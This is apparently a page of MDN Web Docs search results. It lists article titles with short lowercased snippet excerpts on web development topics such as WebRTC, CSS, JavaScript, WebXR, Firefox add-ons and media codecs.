... note: in a few cases, this code takes the easy way out by using ctypes.voidptr_t instead of a typed pointer.
... core foundation the majority of the system routines we'll be using come from core foundation.
...And 19 more matches
Signaling and video calling - Web APIs
this lets us send signaling messages using this same server, instead of needing a separate server.
... an icecandidate event is sent to the rtcpeerconnection to complete the process of adding a local description using pc.setlocaldescription(offer).
...all your code needs to do is route it through to the remote peer using the signaling server.
...And 19 more matches
widget - Archive of obsolete content
there are a few advantages to using widgets over an ad hoc user interface.
...you can include this content inline as a string by using the content property, or point to content using a url with the contenturl property.
...just save the file in your add-on's data directory, and reference it using the data.url() method of the self module: var data = require("sdk/self").data; require("sdk/widget").widget({ id: "my-widget", label: "my widget", contenturl: data.url("my-content.html") }); this widget contains an entire web page: require("sdk/widget").widget({ id: "hello-display", label: "my hello widget", content: "hello!", width: 50 }); widgets are quite small by default, s...
...And 18 more matches
How to convert an overlay extension to restartless - Archive of obsolete content
using the current firefox esr, stable version, or nightly is generally a better idea if given the option, but some users take forever to upgrade.
... step 1: use services.jsm if you load one of mozilla's internal jsm files, for example services.jsm, you'll do so via privileged javascript code like this: components.utils.import("resource://gre/modules/services.jsm"); from here on out, it is assumed you've imported services.jsm somewhere at the top of whatever file you're in and will be using it in all code examples.
...o that you can access your files with custom paths such as: resource://myaddon/filename.ext chrome://myaddon/content/filename.ext step 2: no more resource:// uris for files internal to your bundle unfortunately, resource mappings in your chrome.manifest were not usable in restartless add-ons until mozilla finally fixed this bug in firefox 38, which looked bad, but only because mozilla is still using resource:// uris internally and in examples.
...And 18 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
try to avoid using it.
... chrome url use a file called a “chrome manifest” to register chrome packages with firefox and start using them.
...it is also possible to coerce an overlay without using the xul-overlay instruction in the xul document—this is called a “cross-package overlay” (figure 2).
...And 18 more matches
Responsive design - Learn web development
note: the screenshots above are taken using the responsive design mode in firefox devtools.
...using a very simple technique of setting the max-width property to 100%, images would scale down smaller if their containing column became narrower than the image's intrinsic size, but never grow larger.
...media queries enable the type of layout switch that cameron adams had previously explored using javascript, using only css.
...And 18 more matches
Handling common HTML and CSS problems - Learn web development
this includes linting code, handling css prefixes, using browser dev tools to track down problems, using polyfills to add support into browsers, tackling responsive design problems, and more.
...this can be especially problematic when you are using third party code.
...or you might find that html generated by some kind of third party api (generating ad banners, for example) includes a class name or id that you are already using for a different purpose.
...And 17 more matches
WebIDL bindings
if you do, change to using // ns_impl_cycle_collection_wrappercache.
... note that using a 'headerfile' annotation is generally not recommended.
...this will produce two files in dom/bindings in your objdir: myinterface-example.h and myinterface-example.cpp, which show a basic implementation of the interface using a class that inherits from nsisupports and has a wrapper cache.
...And 17 more matches
A re-introduction to JavaScript (JS tutorial) - JavaScript
there's also a built-in object that we did not mention earlier called math that provides advanced mathematical functions and constants: math.sin(3.5); var circumference = 2 * math.pi * r; you can convert a string to an integer using the built-in parseint() function.
... if you want to convert a binary number to an integer, just change the base: parseint('11', 2); // 3 similarly, you can parse floating point numbers using the built-in parsefloat() function.
... you can also use the unary + operator to convert values to numbers: + '42'; // 42 + '010'; // 10 + '0x10'; // 16 a special value called nan (short for "not a number") is returned if the string is non-numeric: parseint('hello', 10); // nan nan is toxic: if you provide it as an operand to any mathematical operation, the result will also be nan: nan + 5; // nan you can test for nan using the built-in isnan() function: isnan(nan); // true javascript also has the special values infinity and -infinity: 1 / 0; // infinity -1 / 0; // -infinity you can test for infinity, -infinity and nan values using the built-in isfinite() function: isfinite(1 / 0); // false isfinite(-infinity); // false isfinite(nan); // false the parseint() and parsefloat() functions parse a string until...
...And 17 more matches
SVG documentation index - SVG: Scalable Vector Graphics
WebSVGIndex
e vector graphics 2d graphics, graphics, icons, images, reference, responsive design, svg, scalable graphics, scalable images, vector graphics, web, l10n:priority scalable vector graphics (svg) are an xml-based markup language for describing two-dimensional based vector graphics.xml 2 applying svg effects to html content css, guide, html, svg modern browsers support using svg within css styles to apply graphical effects to html content.
...when svg documents are embedded within a parent html document using the tag: 6 namespaces crash course svg, xml as an xml dialect, svg is namespaced.
... 13 svg attribute reference drawing, landing, needshelp, overview, responsive design, svg, svg attribute, svg reference, vector graphics svg elements can be modified using attributes that specify details about exactly how the element should be handled or rendered.
...And 17 more matches
Document Object Model - Archive of obsolete content
the dom structure may be examined and modified using various methods provided for this purpose.
...although there is only ever one document associated with a window at a time, you may load additional documents using various methods.
... in mozilla, the dom may be accessed and manipulated using javascript.
...And 16 more matches
CSS and JavaScript accessibility best practices - Learn web development
objective: to gain familiarity with using css and javascript appropriately in your web documents to maximise accessibility and not detract from it.
...using correct semantics has a lot to do with user expectations — elements look and behave in certain ways, according to their functionality, and these common conventions are expected by users.
... abbreviations an element that allows an abbreviation, acronym, or initialization to be associated with its expansion: <p>web content is marked up using <abbr title="hypertext markup language">html</abbr>.</p> again, you might want to style it in some simple way: abbr { color: #a60000; } the recognised styling convention for abbreviations is a dotted underline, and it is unwise to significantly deviate from this.
...And 16 more matches
UI pseudo-classes - Learn web development
this included some usage of pseudo-classes, for example using :checked to target a checkbox only when it is selected.
... you can match these two states using the :required and :optional pseudo-classes.
...for a start, we are signalling required versus optional status using color alone, which isn't great for colorblind people.
...And 16 more matches
Mozilla
browser chrome tests the browser chrome test suite is an automated testing framework designed to allow testing of application chrome windows using javascript.
... it currently allows you to run javascript code in the same scope as the main firefox browser window and report results using the same functions as the mochitest test framework.
... c++ portability guide this document has migrated to using c++ in mozilla code.
...And 16 more matches
Inputs and input sources - Web APIs
voice commands using speech recognition.
... selecting using the main "select" button or other input on the controller to choose the targeted direction (or the object at which it points), or to otherwise engage an action.
...see advanced controllers using the gamepad object to learn how to use these controllers.
...And 16 more matches
XUL Migration Guide - Archive of obsolete content
next, we'll look at some of the main tasks involved in migrating: working with content scripts using the sdk's supported apis how to go beyond the supported apis when necessary, by: using third party modules using the sdk's low-level apis getting direct access to xpcom finally, we'll walk through a simple example.
... if your add-on can accomplish everything it needs using only the supported apis, it's a good candidate for migration.
... if your add-on only needs a little help from those techniques, and can accomplish most of what it needs using the supported apis, then it might still be worth migrating: we'll add more supported apis in future releases to meet important use cases.
...And 15 more matches
cfx - Archive of obsolete content
supported options you can point cfx run at a different package.json file using the --pkgdir option, and pass arguments to your add-on using the --static-args option.
... you can specify a different version of the host application using the --binary option, passing in the path to the application binary to run.
...you can specify an existing profile using the --profiledir option, and this gives you access to that profile's history, bookmarks, and other add-ons.
...And 15 more matches
nsIDOMWindowUtils
layermanagertype astring what type of layer manager the widget associated with this window is using.
...the rectangle is specified using a central point and a distance to expand in all four cardinal directions.
... using constants defined in nsidomnsevent.
...And 15 more matches
Fundamentals of WebXR - Web APIs
in webxr, the primary select and squeeze actions are directly supported using events, while other controls are available through a special webxr-specific implementation of the gamepad object.
... <<<--- replace image with an svg for future translation work and consistency --->>> some more advanced headsets provide at least minimal support for translational movement detection, but to capture more substantial movement through the space, external sensors are usually required, such as cameras (either using visible light or infrared).
... webxr session modes webxr offers support for both augmented reality (ar) and virtual reality (vr) sessions, using the same api.
...And 15 more matches
Geometry and reference spaces in WebXR - Web APIs
at a fundamental level, rendering of scenes for webxr presentation in either augmented reality or virtual reality contexts is performed using webgl, so the two apis share much of the same design language.
... however, in order to provide the ability to present scenes in true 3d using xr headsets and other such equipment, webxr has additional concepts that must be understood.
... in this article, we introduce the ways in which webxr expands upon the geometry of webgl, and how the positions and orientations of objects—both physical and virtual—are described in relation to one another using spaces and, in particular, reference spaces.
...And 15 more matches
The Box Model - Archive of obsolete content
most of the examples shown in the rest of this section were generated using the xul box alignment example.
... very simple example of an hbox with 3 child buttons: <hbox> <button label="cat" /> <button label="parrot" /> <button label="porcupine" /> </hbox> this is how it looks on mac os (the black border was added for illustrative purposes, boxes don't have borders by default): if you use a vbox instead, it looks like this: the orientation of boxes (and most xul elements) can be controlled using the orient attribute or the -moz-box-orient css property.
...the css property may be useful on some occasions, but using the orient attribute is not recommended because it mixes content and presentation.
...And 14 more matches
CSS3 - Archive of obsolete content
css namespaces module recommendation since september 29th, 2011 adds the support for the xml namespaces by defining the notion of css qualified name, using the ' | ' syntax and adding the @namespace css at-rule.
...detection of ecmascript support, using the script media features is also proposed.
... the choice of alternative font faces using the css font-stretch, font-variant-alternates, font-variant-caps, font-variant-east-asian, font-variant-ligatures, font-variant-numeric, and font-variant-position properties.
...And 14 more matches
Index of archived content - Archive of obsolete content
navigator navigator.moznotification add-ons add-on sdk builder guides content scripts communicating with other scripts communicating using "port" communicating using "postmessage" cross-domain content scripts interacting with page scripts loading content scripts reddit example port self contributor's guide classes and inheritance ...
...ted (jpm) getting started (cfx) list open tabs listen for page load listening for load and unload localization logging modifying web pages based on url modifying the page hosted by a tab open a web page troubleshooting unit testing using xpcom without chrome using third-party modules (jpm) bootstrapped extensions code snippets alerts and notifications autocomplete bookmarks boxes canvas code snippets cookies customizing the download progress...
...extensions firefox addons developer guide appendix: what you should know about open-source software licenses chapter 1: introduction to extensions chapter 2: technologies used in developing extensions chapter 3: introduction to xul—how to build a more intuitive ui chapter 4: using xpcom—implementing advanced processes chapter 5: let's build a firefox extension chapter 6: firefox extensions and xul applications license and authors xul school tutorial adding events and commands adding toolbars and toolbar buttons adding menu...
...And 14 more matches
Gecko Compatibility Handbook - Archive of obsolete content
if you're new to standards, you may find using web standards in your web pages a helpful introduction.
... quick compatibility test if your site uses netscape 4.x and microsoft proprietary technologies, see using web standards in your web pages for a quick tutorial on standards.
... this compatibility test will be most beneficial to sites using simple code or that have updated to support standards.
...And 14 more matches
WAI-ARIA basics - Learn web development
as a result, developers quite often rely on javascript libraries that generate such controls as a series of nested <div>s or table elements with classnames, which are then styled using css and controlled using javascript.
...as an example, aria-required="true" specifies that a form input needs to be filled in to be valid, whereas aria-labelledby="label" allows you to put an id on an element, then reference it as being the label for anything else on the page, including multiple elements, which is not possible using <label for="input">.
...where this is unavoidable, wai-aria provides a means to allow other elements to receive focus (using tabindex).
...And 14 more matches
The box model - Learn web development
we can, however, change the inner display type by using display values like flex.
... the second is a list, which is laid out using display: flex.
... parts of a box making up a block box in css we have the: content box: the area where your content is displayed, which can be sized using properties like width and height.
...And 14 more matches
TypeScript support in Svelte - Learn web development
we also had a look at using the transition directive to implement animations on dom elements in svelte.
...there are different opinions about it, and in this chapter we will talk briefly about the pros and cons of using typescript.
... creating a svelte typescript project from scratch you can start a new svelte typescript project using the standard template.
...And 14 more matches
NSS tools : signtool
to avoid problems, escape the quotation mark using the escape conventions for your platform.
...if you are installing the keys and certificate in the communicator databases, you must exit communicator before using this option; otherwise, you risk corrupting the databases.
...when you are using it to sign objects, it behaves like an object-signing certificate.
...And 14 more matches
imgIContainer
do not change these without looking at the implementations using them, struct gif_struct::disposal_method and gif_write() in particular.
...try to avoid using it.
...try to avoid using it.
...And 14 more matches
Plug-in Basics - Plugins
plug-ins like these are now available: multimedia viewers such as adobe flash and adobe acrobat utilities that provide object embedding and compression/decompression services applications that range from personal information managers to games the range of possibilities for using plug-in technology seems boundless, as shown by the growing numbers of independent software vendors who are creating new and innovative plug-ins.
... with the plug-in api, you can create dynamically loaded plug-ins that can: register one or more mime types draw into a part of a browser window receive keyboard and mouse events obtain data from the network using urls post data to urls add hyperlinks or hotspots that link to new urls draw into sections on an html page communicate with javascript/dom from native code you can see which plug-ins are installed on your system and have been properly associated with the browser by consulting the installed plug-ins page.
... see initialization and destruction for more information about using these methods.
...And 14 more matches
EventTarget.addEventListener() - Web APIs
you can do this by using feature detection for each of the options you're interested in.
...just add a getter for that option using code similar to what is shown above.
...tion modifytext() { const t2 = document.getelementbyid("t2"); if (t2.firstchild.nodevalue == "three") { t2.firstchild.nodevalue = "two"; } else { t2.firstchild.nodevalue = "three"; } } // add event listener to table const el = document.getelementbyid("outside"); el.addeventlistener("click", modifytext, false); in this code, modifytext() is a listener for click events registered using addeventlistener().
...And 14 more matches
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
WebHTMLElementinput
warning: automatically focusing a form control can confuse visually-impaired people using screen-reading technology and people with cognitive impairments.
...automatically focusing on a control can cause the page to scroll on load.
...disabled inputs are typically rendered with a dimmer color or using some other form of indication that the field is not available for use.
...And 14 more matches
HTML elements reference - HTML: Hypertext Markup Language
WebHTMLElement
this page lists all the html elements, which are created using tags.
...a url for the source of the quotation may be given using the cite attribute, while a text representation of the source can be given using the <cite> element.
...it has no effect on the content or layout until styled using css.
...And 14 more matches
Working with objects - JavaScript
for example, let's create an object named mycar and give it properties named make, model, and year as follows: var mycar = new object(); mycar.make = 'ford'; mycar.model = 'mustang'; mycar.year = 1969; the above example could also be written using an object initializer, which is a comma-delimited list of zero or more pairs of property names and associated values of an object, enclosed in curly braces ({}): var mycar = { make: 'ford', model: 'mustang', year: 1969 }; unassigned properties of an object are undefined (and not null).
... mycar.color; // undefined properties of javascript objects can also be accessed or set using a bracket notation (for more details see property accessors).
...however, any property name that is not a valid javascript identifier (for example, a property name that has a space or a hyphen, or that starts with a number) can only be accessed using the square bracket notation.
...And 14 more matches
The "codecs" parameter in common media types - Web media technologies
at a fundamental level, you can specify the type of a media file using a simple mime type, such as video/mp4 or audio/mpeg.
... general syntax a basic mime media type is expressed by stating the type of media (audio, video, etc), then a slash character (/), then the container format used to contain the media: audio/mpeg an audio file using the mpeg file type, such as an mp3.
... video/ogg a video file using the ogg file type.
...And 14 more matches
The Business Benefits of Web Standards - Archive of obsolete content
specifically, presentation is defined using layout-oriented css language.
...by using semantic markup we greatly assist the search engines in their indexing process.
...a lot of other sites would greatly increase their seo by simply using proper tags for the content.
...And 13 more matches
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
so to cancel our above timeout, you'd do this: cleartimeout(mygreeting); note: see greeter-app.html for a slightly more involved demo that allows you to set the name of the person to say hello to in a form, and cancel the greeting using a separate button (see the source code also).
...the following function creates a new date() object, extracts a time string out of it using tolocaletimestring(), and then displays it in the ui.
... it then runs the function once per second using setinterval(), creating the effect of a digital clock that updates once per second (see this live, and also see the source): function displaytime() { let date = new date(); let time = date.tolocaletimestring(); document.getelementbyid('demo').textcontent = time; } const createclock = setinterval(displaytime, 1000); just like settimeout(), setinterval() returns an identifying value you can use later when you need to clear the interval.
...And 13 more matches
Dynamic behavior in Svelte: working with variables and props - Learn web development
in this article we'll be using variables and props to make our app dynamic, allowing us to add and delete todos, mark them as complete, and filter them by status.
... objective: learn and put into practice some basic svelte concepts, like creating components, passing data using props, render javascript expressions into our markup, modify the components state and iterating over lists.
... repl to code along with us using the repl, start at https://svelte.dev/repl/c862d964d48d473ca63ab91709a0a5a0?version=3.23.2 working with todos our todos.svelte component is currently just displaying static markup; let's start making it a bit more dynamic.
...And 13 more matches
Strategies for carrying out testing - Learn web development
using analytics a much more accurate source of data, if you can get it, comes from an analytics app like google analytics.
... this is an application that will give you accurate stats on exactly what browsers people are using to browse your site.
... you may also consider using open source and privacy focussed analytics platforms like open web analytics and matomo.
...And 13 more matches
Eclipse CDT
using this plugin will result in parts of the ui described below being hidden or disabled.
... you can increase eclipse's memory limits using the eclipse.ini that lives alongside the eclipse binary.
...for that to work you also either need to find the existing bindings for that key combination (using the bindings column to sort by key combination helps with this) and remove them, or else you need to make your binding very specific by setting the "when" field to "c/c++ editor" instead of the more general "editing text".
...And 13 more matches
Performance best practices for Firefox front-end engineers
you might want to consider using a worker if you need to do some computation that can be done off of the main thread.
... if you need more elevated privileges than a standard worker allows, consider using a chromeworker, which is a firefox-only api which lets you create workers with more elevated privileges.
...you can do that using requestidlecallback() and the cooperative scheduling of background tasks api, and doing it only when we have a free second where presumably the user isn’t doing something.
...And 13 more matches
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
using this information, a screen reader will speak out loud important changes to the document or ui, and allow the user to track where they navigate.
... the screen reader user can navigate the web page using screen reader commands or browser commands, and the two pieces of software must remain in sync.
... when to use msaa, and when not to it's a common mistake to say that msaa is not worth using, for a number of reasons.
...And 13 more matches
Variable fonts guide - CSS: Cascading Style Sheets
this article will give you all you need to know to get you started using variable fonts.
... this allows for common typographic techniques such as setting different size headings in different weights for better readability at each size, or using a slightly narrower width for data-dense displays.
...in order to most accurately reflect the typeface design and avoid differences between browsers and how they may or may not synthesize the different styles, it's more accurate to load the specific font files where needed when using a non-variable font.
...And 13 more matches
Audio and Video Delivery - Developer guides
audio and video fallback you can create a more comprehensive fallback using flash.
... using flashmediaelement.swf is one way.
...find more about web audio api basics in using the web audio api.
...And 13 more matches
Web video codec guide - Web media technologies
this guide introduces the video codecs you're most likely to encounter or consider using on the web, summaries of their capabilities and any compatibility and utility concerns, and advice to help you choose the right codec for your project's video.
...if the codec converts the media into an internal pixel format, or otherwise represents the image using a means other than simple pixels, the format of the original image doesn't make any difference.
...as a result, the video's contents show a "layered" look, where instead of smooth gradients and transitions, the transitions from color to color are abrupt, causing strips of color to appear.
...And 13 more matches
Understanding WebAssembly text format - WebAssembly
note: this is potentially overkill if you are a web developer who just wants to load a wasm module into a page and use it in your code (see using the webassembly javascript api), but it is more useful if for example, you want to write wasm modules to optimize the performance of your javascript library, or build your own webassembly compiler.
... there is another issue here — using numeric indices to refer to items can be confusing and annoying, so the text format allows you to name parameters, locals, and most other items simply by including a name prefixed by a dollar symbol ($) just before the type declaration.
... so our final module (for now) looks like this: (module (func $add (param $lhs i32) (param $rhs i32) (result i32) local.get $lhs local.get $rhs i32.add) (export "add" (func $add)) ) if you want to follow along with the example, save the above our module into a file called add.wat, then convert it into a binary file called add.wasm using wabt (see converting webassembly text format to wasm for details).
...And 13 more matches
Communicating With Other Scripts - Archive of obsolete content
this section of the guide explains how content scripts can communicate with: your main.js file, or any other modules in your add-on other content scripts loaded by your add-on page scripts (that is, scripts embedded in the web page or included using <script> tags) main.js your content scripts can communicate with your add-on's "main.js" (or any other modules you're written for your add-on) by sending it messages, using either the port.emit() api or the postmessage() api.
... see the articles on using postmessage() and using port for details.
... content scripts content scripts loaded into the same document at the same time using the same method can interact with each other directly as well as with the web content itself.
...And 12 more matches
platform/xpcom - Archive of obsolete content
by subclassing unknown, either using standard javascript inheritance or using the sdk's heritage module, you can provide your own implementations of xpcom interfaces.
... in this example the helloworld component is available to javascript only, so we use the technique documented under the "using wrappedjsobject" section of how to build an xpcom component in javascript.
...wrappedjsobject() this, hello: function() {return 'hello world';} }); // create and register the factory var factory = factory({ contract: contractid, component: helloworld }); // xpcom clients can retrieve and use this new // component in the normal way var wrapper = cc[contractid].createinstance(ci.nsisupports); var helloworld = wrapper.wrappedjsobject; console.log(helloworld.hello()); using class id you can specify a class id for the factory by setting the id option in the factory's constructor.
...And 12 more matches
Trees - Archive of obsolete content
ArchiveMozillaXULTutorialTrees
« previousnext » xul provides a way to create tabular or hierarchical lists using a tree.
...(using advanced features, progress meters or checkboxes also can be added to the tree) a tree consists of two parts, the set of columns, and the tree body.
... an advantage of using a tree view is that it allows the view to store the data in a manner which is more suitable for the data, or to load the data on demand as rows are displayed.
...And 12 more matches
Introduction to Public-Key Cryptography - Archive of obsolete content
client authentication refers to the confident identification of a client by a server (that is, identification of the person assumed to be using the client software).
... certificate-based authentication figure 5 shows how client authentication works using certificates and the ssl protocol.
...this evaluation process can employ a variety of standard authorization mechanisms, potentially using additional information in an ldap directory, company databases, and so on.
...And 12 more matches
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
regardless of how the back-ends of your web applications are implemented, client side you're using javascript for everything from same form validations to full ajax applications.
... now imagine being able to develop web apps using javascript server-side too.
... rhino offers a unique opportunity for the javascript developer to tap into the power of java classes using javascript.
...And 12 more matches
Index - Game development
11 techniques for game development games, guide this page lists essential core techniques for anyone wanting to develop games using open web technologies.
... 14 bounding volume collision detection with three.js 3d, games, javascript, webgl, bounding boxes, collision detection, three.js this article shows how to implement collision detection between bounding boxes and spheres using the three.js library.
...mozilla's a-frame framework provides a markup language allowing us to build 3d vr landscapes using a system familiar to web developers, which follows game development coding principles; this is useful for quickly and successfully building prototypes and demos, without having to write a lot of javascript or glsl.
...And 12 more matches
Mobile accessibility - Learn web development
these function in much the same way as desktop screenreaders, except they are largely operated using touch gestures rather than key combinations.
... if you want to turn talkback off: navigate back to the talkback menu screen (using the different gestures that are currently enabled.) navigate to the slider switch and activate it to turn it off.
... browsing web pages you can use the local context menu while in a web browser to find options to navigate web pages using just the headings, form controls, or links, or navigate line by line, etc.
...And 12 more matches
Beginner's guide to media queries - Learn web development
media queries are a key part of responsive web design, as they allow you to create different layouts depending on the size of the viewport, but they can also be used to detect other things about the environment your site is running on, for example whether the user is using a touchscreen rather than a mouse.
... prerequisites: html basics (study introduction to html), and an idea of how css works (study css first steps and css building blocks.) objective: to understand how to use media queries, and the most common approach for using them to create responsive designs.
... width and height the feature we tend to detect most often in order to create responsive designs (and that has widespread browser support) is viewport width, and we can apply css if the viewport is above or below a certain width — or an exact width — using the min-width, max-width, and width media features.
...And 12 more matches
Third-party APIs - Learn web development
using facebook login to log in your users).
...one of the most obvious examples is using mapping apis to display custom maps on your pages.
...for example, the web audio api we saw in the introductory article is accessed using the native audiocontext object.
...And 12 more matches
Package management basics - Learn web development
without modern build tools, dependencies like this might be included in your project using a simple <script> element, but this might not work right out of the box and you will likely need some modern tooling to bundle your code and dependencies together when they are released on the web.
... writing the code to include the package(s) in your application (this tends to be done using javascript modules, another subject that is worth reading up on and understanding).
...yarn resolves the dependencies using a different algorithm that can mean a faster user experience.
...And 12 more matches
Hacking Tips
7fffef1231c0 @ 24) #4 (nil) typein:3 (0x7fffef1231c0 @ 47) […] #25157 0x7fffefbbc250 typein:2 (0x7fffef1231c0 @ 24) #25158 0x7fffefbbc1c8 typein:3 (0x7fffef1231c0 @ 47) #25159 0x7fffefbbc140 typein:2 (0x7fffef1231c0 @ 24) #25160 0x7fffefbbc0b8 typein:3 (0x7fffef1231c0 @ 47) #25161 0x7fffefbbc030 typein:5 (0x7fffef123280 @ 9) note, you can do the exact same exercise above using lldb (necessary on osx after apple removed gdb) by running lldb -f js then following the remaining steps.
...if gdb does not load the unwinder by default, you can force it to, by using the source command with the js-gdb.py file.
... step next a few times, so that the "code" variable gets generated print code->code_, which is the address of the code disassembly code read at this address (using x/ni address, where n is the number of instructions you would like to see) here is an example.
...And 12 more matches
Details of the object model - JavaScript
the rest of this chapter describes the details of using javascript constructors and prototypes to create an object hierarchy and compares this to how you would do it in java.
... construction of object hierarchy construct an object hierarchy by using class definitions to define subclasses of existing classes.
... javascript (using this may cause an error for the following examples) class employee { constructor() { this.name = ''; this.dept = 'general'; } } javascript ** (use this instead) function employee() { this.name = ''; this.dept = 'general'; } java public class employee { public string name = ""; public string dept = "general"; } the manager and workerbee definitions show the dif...
...And 12 more matches
The building blocks of responsive design - Progressive web apps (PWAs)
fluid grids the best place to start is with fluid measurements for our application layout — essentially, this means using a combination of percentages and ems/rems to size your containers and text, not fixed widths such as pixels.
... we've written a simple-but-fun prototype for an application called snapshot, which takes a video stream from your webcam (using getusermedia()) then allows you to capture stills from that video stream (using html5 <canvas>), and save them to a gallery.
...the video always resizes dynamically, but the screen captures taken from it do not, so upon resizing the screen it was possible to end up with a messy layout with different sized elements when using max-width: 100%, such as: media queries fluid grids are a great start, but you'll notice that at certain points (known as breakpoints) the layout starts to break down.
...And 12 more matches
Content Scripts - Archive of obsolete content
content scripts can be one of the more confusing aspects of working with the sdk, but you're very likely to have to use them.
...its "main.js" attaches a content script to the current tab using the tabs module.
... additionally, some sdk user interface components - panel, sidebar, frame - are specified using html, and use separate scripts to interact with this content.
...And 11 more matches
page-worker - Archive of obsolete content
you specify the page to load using the contenturl option to the page() constructor.
...to do this, save the file in your add-on's data directory and create the url using the data.url() method of the self module: pageworker = require("sdk/page-worker").page({ contentscript: "console.log(document.body.innerhtml);", contenturl: require("sdk/self").data.url("myfile.html") }); from firefox 34, you can use "./myfile.html" as an alias for self.data.url("myfile.html").
... you can specify one or more content scripts to load into the page using the contentscript or contentscriptfile options to the page() constructor.
...And 11 more matches
Anonymous Content - Archive of obsolete content
introduction a binding can specify an anonymous content template using the content element.
...an element declared in a bound document using a single tag can then be constructed out of multiple child elements, and this implementation is hidden from the bound document.
... scoping and access using the dom when a binding is attached and certain conditions are met, the children of the binding's content element are cloned.
...And 11 more matches
Styling links - Learn web development
link states the first thing to understand is the concept of link states — different states that links can exist in, which can be styled using different pseudo-classes: link (unvisited): the default state that a link resides in, when it isn't in any other state.
... this can be specifically styled using the :link pseudo class.
... visited: a link when it has already been visited (exists in the browser's history), styled using the :visited pseudo class.
...And 11 more matches
Manipulating documents - Learn web development
this is usually done by using the document object model (dom), a set of apis for controlling html and styling information that makes heavy use of the document object.
... objective: to gain familiarity with the core dom apis, and the other apis commonly associated with dom and document manipulation the important parts of a web browser web browsers are very complicated pieces of software with a lot of moving parts, many of which can't be controlled or manipulated by a web developer using javascript.
...using methods available on this object you can do things like return the window's size (see window.innerwidth and window.innerheight), manipulate the document loaded into that window, store data specific to that document on the client-side (for example using a local database or other storage mechanism), attach an event handler to the current window, and more.
...And 11 more matches
JavaScript object basics - Learn web development
it is very common to create an object using an object literal when you want to transfer a series of structured, related data items in some manner, for example sending a request to the server to be put into a database.
... dot notation above, you accessed the object's properties and methods using dot notation.
... bracket notation there is another way to access object properties — using bracket notation.
...And 11 more matches
Inheritance in JavaScript - Learn web development
inside here you'll find the same person() constructor example that we've been using all the way through the module, with a slight difference — we've defined only the properties inside the constructor: function person(first, last, age, gender, interests) { this.name = { first, last }; this.age = age; this.gender = gender; this.interests = interests; }; the methods are all defined on the constructor's prototype.
...in this case we are using it to create a new object and make it the value of teacher.prototype.
...my name is ' + prefix + ' ' + this.name.last + ', and i teach ' + this.subject + '.'); }; this alerts the teacher's greeting, which also uses an appropriate name prefix for their gender, worked out using a conditional statement.
...And 11 more matches
nss tech note5
using nss to perform miscellaneous cryptographic operations nss technical note: 5 nss project info is at http://www.mozilla.org/projects/security/pki/nss/ you can browse the nss source online at http://lxr.mozilla.org/mozilla/source/security/nss/ and http://lxr.mozilla.org/security/ be sure to look for sample code first for things you need to do.
... ck_mechanism_type ciphermech = ckm_des_cbc_pad <big>(for example)</big> choose a slot on which to to do the operation pk11slotinfo* slot = pk11_getbestslot(ciphermech, null); or pk11slotinfo* slot = pk11_getinternalkeyslot(); /* alwys returns internal slot, may not be optimal */ prepare the key if using a raw key /* turn the raw key into a secitem */ secitem keyitem; keyitem.data = /* ptr to an array of key bytes */ keyitem.len = /* length of the array of key bytes */ /* turn the secitem into a key object */ pk11symkey* symkey = pk11_importsymkey(slot, ciphermech, pk11_originunwrap, ...
...iv is relevant only when using cbc mode of encryption.
...And 11 more matches
sslfnc.html
when an ssl2-only server receives an ssl3 client hello in ssl2 format, it can (and probably will) negotiate the protocol version correctly, not causing a "hang".
... warning: using the external array ssl_implementedciphers[] directly is deprecated.
...this is not the same as using multiple threads or multiple processors.
...And 11 more matches
Timing element visibility with the Intersection Observer API - Web APIs
without the intersection observer api, this winds up being done using intervals and timeouts for each individual ad, or other techniques that tend to slow the page down.
... using this api lets everything get streamlined by the browser to reduce the impact on performance substantially.
...we'll be using css grid to style and lay out the site, so we can be pretty straightforward here: <div class="wrapper"> <header> <h1>a fake blog</h1> <h2>showing intersection observer in action!</h2> </header> <aside> <nav> <ul> <li><a href="#link1">a link</a></li> <li><a href="#link2">another link</a></li> <li><a href="#link3">one more link</a></li> </ul> </nav> </aside> <main> </main> </div> this is the framework for the entire site.
...And 11 more matches
MediaDevices.getUserMedia() - Web APIs
generally, you will access the mediadevices singleton object using navigator.mediadevices, like this: async function getmedia(constraints) { let stream = null; try { stream = await navigator.mediadevices.getusermedia(constraints); /* use the stream */ } catch(err) { /* handle the error */ } } similarly, using the raw promises directly, the code looks like this: navigator.mediadevices.getusermedia(constraints) .then(function(stream) { /...
...see security for more information on this and other security issues related to using getusermedia().
... while information about a user's cameras and microphones are inaccessible for privacy reasons, an application can request the camera and microphone capabilities it needs and wants, using additional constraints.
...And 11 more matches
Rendering and the WebXR frame animation callback - Web APIs
this article covers the process of driving the frames of the xr scene to the device in the rendering loop, using the xrsession to obtain an xrframe object representing each frame, which is then used to prepare the framebuffer for delivery to the xr device.
... before you can render the virtual environment, you need to establish a webxr session by creating an xrsession using the navigator.xr.requestsession() method; you also need to associate the session with a framebuffer and perform other setup tasks.
...this is due to early displays using the ac electrical grid's current flow waveform, which cycles 60 times per second in the united states (50 in europe), for timing purposes.
...And 11 more matches
Codecs used by WebRTC - Web media technologies
the webrtc api makes it possible to construct web sites and apps that let users communicate in real time, using audio and/or video as well as optional data and other information.
... other video codecs codec name profile(s) browser compatibility vp9 — chrome (48+), firefox vp8 vp8, which we describe in general in the main guide to video codecs used on the web, has some specific requirements that must be followed when using it to encode or decode a video track on a webrtc connection.
... other notes the network payload format for sharing vp8 using rtp (such as when using webrtc) is described in rfc 7741: rtp payload format for vp8 video.
...And 11 more matches
Interacting with page scripts - Archive of obsolete content
</head> </html> the content script can see this object if it uses unsafewindow.foo instead of window.foo: // main.js var tabs = require("sdk/tabs"); var mod = require("sdk/page-mod"); var self = require("sdk/self"); var pageurl = self.data.url("page.html") var pagemod = mod.pagemod({ include: pageurl, contentscript: "console.log(unsafewindow.foo);" }) tabs.open(pageurl); be careful using unsafewindow: you can't rely on any of its properties or functions being, or doing, what you expect.
